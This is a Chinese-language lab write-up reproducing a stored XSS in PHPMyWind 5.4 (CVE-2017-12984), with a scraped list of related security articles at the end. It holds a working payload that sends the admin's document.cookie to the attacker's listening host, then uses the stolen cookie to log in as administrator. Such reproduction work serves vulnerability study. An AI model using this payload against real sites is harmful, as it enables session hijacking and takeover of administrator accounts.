PHPMyWind5.4存储XSS(CVE-2017-12984)
0x0 环境
操作机:xp 192.168.110.128
目标:win2003 192.168.110.133
目标cms:PHPMyWind5.4
0x11 漏洞介绍
允许恶意访问者在客户留言处插入XSS利用语句,执行JS代码获取cookie,从而获取网站管理员权限。漏洞存在于message_update.php文件中的content参数。
漏洞影响版本:phpMyWind version <= 5.4
0x12 漏洞成因
处理客户留言内容的关键代码在message.php文件的第29行和34行

先看content参数,程序会使用htmlspecialchars() 函数把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,进行过滤,然后存储至数据库中,也就是对数据的入库进行了处理,这里并没有问题。
然后,我们再看看管理员修改留言的处理方式,代码在admin/ message_update.php文件的第26行,跟进$content参数,可以看到直接读取content内容并显示,也就是说数据的出库未进行处理造成XSS漏洞。

0x2 漏洞演示
1.操作机访问目标,首页-留言处输入xss测试代码
<img src=# onerror=alert("hello"); >

2.目标机在后台/admin登陆,打开模块扩展管理-留言模块管理,对留言修改,触发xss,证明漏洞存在

3.操作机获取管理员cookie
代码:
<img src=x onerror=document.body.appendChild(document.createElement('img')).setAttribute('src','http://192.168.110.128:8888/?='+document.cookie); >

通过img标签的图片报错onerror事件将document.cookie获取的Cookie信息发送至xp的8888端口上
4.操作机监听8888端口,当管理员(win2003)修改留言时,nc收到cookie

5.操作机通过得到的cookie登陆后台页面即可以管理员身份登陆


0x3 修复
升级最新版本
0x4 问题总结
复现时,在0x2的第4步出现问题,xp的nc监听不到信息,一开始怀疑是网络问题,数据包没发过来,或者发过来了xp的防火墙挡了,尝试从2003 ping xp,超时,关掉xp防火墙后,ping成功了,但还是监听不到cookie,于是怀疑数据包根本没发,即js没执行,一开始2003用的是ie,看不到网络请求信息,装上火狐后再打开xss的修改留言,发现xp收到了cookie,具体原因未知
有感,xss的成功与否,还和目标使用的浏览器有关
0x5 参考资料
http://www.atomsec.org/%E5%AE%89%E5%85%A8/phpmywind%E5%AD%98%E5%82%A8xss%E6%BC%8F%E6%B4%9E-cve-2017-12984/
https://www.ichunqiu.com/experiment/detail?id=60913&source=1
PHPMyWind5.4存储XSS(CVE-2017-12984)的更多相关文章
- PHPMyWind5.4存储XSS后续getshell提权
0x0 前言 通过留言处的xss,我们可以得到管理员的cookie,进而登陆后台: https://www.cnblogs.com/Rain99-/p/10701769.html 现在要从后台入手,进 ...
- Discuz X1.5 利用添加好友处存储xss进行蠕虫worm扩散
Discuz X1.5 在添加好友的地方有处存储xss,借助此处xss跟用户交互可以进行蠕虫指数扩散. 位置在添加好友处 x完之后的效果 点击后触发 ok 借助此存储xss,我们进行worm传播,dz ...
- 91网漏洞打包#越权+爆破+存储xss可打cookie
漏洞一.主站存在登录口爆破 抓包,爆破一下 爆破成功 漏洞二.检测app时一处存储xss 在app登录后 我要提问那里插入xss 然后弹窗 可以打到cookie 漏洞三.app个人资料处平行越权可查看 ...
- 宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell
对于宝塔漏洞复现和练习 0×00 什么是宝塔面板 宝塔面板是一款使用方便,功能强大且终身免费的服务器管理软件,支持Linux 与Windows 系统.一键配置:LAMP / LNMP ,网站,数据库 ...
- node 解决存储xss风险报告
1. 安装 xss模块 npm install xss 2.在 Node.js 中使用 const xss = require("xss"); // 在项目的接口里面添加 let ...
- Dedecms最新版本存储型XSS
由于编辑文章的模板参数 typeid2可控,导致存储XSS发生. dedecms/dede/templets/article_edit.htm页面316-325行代码如下: <tr> &l ...
- 存储型XSS的发现经历和一点绕过思路
再次骚扰 某SRC提现额度竟然最低是两千,而已经有750的我不甘心呐,这不得把这2000拿出来嘛. 之后我就疯狂的挖这个站,偶然发现了一个之前没挖出来的点,还有个存储型XSS! 刚开始来到这个之前挖过 ...
- DVWA(七):XSS(stored)存储型XSS攻击
存储型XSS : 存储XSS,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在.提交JS攻击代码存储到数据库然后再输出. low: 观察源码: <?php if( isset( ...
- ASP.NET Core中的OWASP Top 10 十大风险-跨站点脚本攻击 (XSS)
不定时更新翻译系列,此系列更新毫无时间规律,文笔菜翻译菜求各位看官老爷们轻喷,如觉得我翻译有问题请挪步原博客地址 本博文翻译自: https://dotnetcoretutorials.com/201 ...
随机推荐
- 解决Win10无法安装.Net Framework 3.5,错误代码0x800F081F
重新安装了一遍Win10,但是不知怎的无法安装.net framework 3.5,即便是下载离线安装包也没法用. 网上有人说需要使用win10的ISO文件,个人感觉太麻烦,在这里分享一个很方便的操作 ...
- 服务器上u盘装机centos7.2
说明: 截止目前CentOS 7.x最新版本为CentOS 7.2.1511,下面介绍CentOS 7.2.1511的具体安装配置过程 服务器相关设置如下: 操作系统:CentOS 7.2.1511 ...
- Hello Shader之Hello Trangle
这两天配了一下现代OpenGL的开发环境,同时看了一下基础知识和编程规范 写了一个编译GLSL语言的前端程序和一个Hello trangle的程序 另外,推荐两个资源 1.学习网站Learn Open ...
- 【JavaScript】read_line()、print()实现输入输出
/*输入 输入的第一行为一个正整数T,表示有T组测试数据.随后的T行中,每行为一组测试数据. 每组测试数据包含由3个正整数构成,分别为N.M和a,其中1<=N, M, a <=10^9. ...
- 魔法少女【动态规划问题】——NYOJ1204
个人博客页:https://www.scriptboy.cn/202.html 题目描述: 前些时间虚渊玄的巨献小圆着实火了一把. 在黑长直(小炎)往上爬楼去对抗魔女之夜时,她遇到了一个问题想请你帮忙 ...
- Oracle create tablespace 创建表空间语法详解
CREATE [UNDO] TABLESPACE tablespace_name [DATAFILE datefile_spec1 [,datefile_spec2] ...... ...
- nginx静态文件缓存的解决方案
nginx的一大功能就是完成静态资源的分离部署,减轻后端服务器的压力,如果给这些静态资源再加一级nginx的缓存,可以进一步提升访问效率. 第一步:添加nginx.conf的http级别的缓存配置 # ...
- ping和telnet
ping命令 验证IP的可达性 本地ping虚拟机中的ip地址: telnet命令 验证服务的可用性,某个端口是否打开 连接到服务器的端口上: 几种场景: (1)ping通,telnet不行 ip地址 ...
- JS简单的倒计时(代码优化)
倒计时网上一大堆,所以也没有什么好说的,支持:1.年,月,日,天,时分秒等倒计时. JS代码如下: /* * js简单的倒计时 * @param {date,obj} 日期 对象格式 */ funct ...
- $Luogu P2029$ 跳舞 题解
一道不是十分水的\(dp\). 首先我们考虑\(dp\)方程的构造.起初我定义的状态是\(dp_{i,j}\)表示前\(i\)个格子,总共跳了\(j\)次的最大得分.但事实上它并不可以转移,因为我们不 ...